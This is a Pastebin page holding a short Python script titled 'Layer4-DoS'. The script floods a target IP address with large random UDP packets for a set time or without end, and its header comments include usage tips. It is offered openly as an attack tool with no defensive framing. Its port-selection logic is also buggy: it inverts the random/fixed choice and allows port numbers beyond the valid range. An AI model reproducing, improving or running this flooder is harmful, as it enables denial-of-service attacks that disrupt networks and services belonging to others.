Advertisement
1337ings

[Python] Layer4-DoS

Jan 31st, 2017
988
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.11 KB | None | 0 0
  1. #!/usr/bin/python
  2. ###################################################
  3. # Layer4-DoS coded by Chris Poole | @codingplanets
  4. #
  5. # USAGE: Layer4.py <target> <port> <time>
  6. #
  7. # - - - - - - - - - - - - - - - - - - - - - - - -
  8. #          Tip:
  9. #    python Layer4.py 69.69.96.69 0 0
  10. # - - - - - - - - - - - - - - - - - - - - - - - -
  11. #   '0' will randomize the port & time :)
  12. ###################################################
  13. import socket,random,sys,time
  14.  
  15. if len(sys.argv)==1:
  16.     sys.exit('Usage: Layer4.py <target> <port> <time>')
  17.  
  18. def Layer4():
  19.     port = int(sys.argv[2])
  20.     randport=(True,False)[port==0]
  21.     ip = sys.argv[1]
  22.     dur = int(sys.argv[3])
  23.     clock=(lambda:0,time.clock)[dur>0]
  24.     duration=(1,(clock()+dur))[dur>0]
  25.     print('Attacking: %s:%s for %s seconds'%(ip,port,dur or 'infinite'))
  26.     sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
  27.     bytes=random._urandom(65500)
  28.     while True:
  29.         port=(random.randint(1,15000000),port)[randport]
  30.         if clock()<duration:
  31.             sock.sendto(bytes,(ip,port))
  32.         else:
  33.             break
  34.     print('Attack is finished!')
  35. Layer4()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement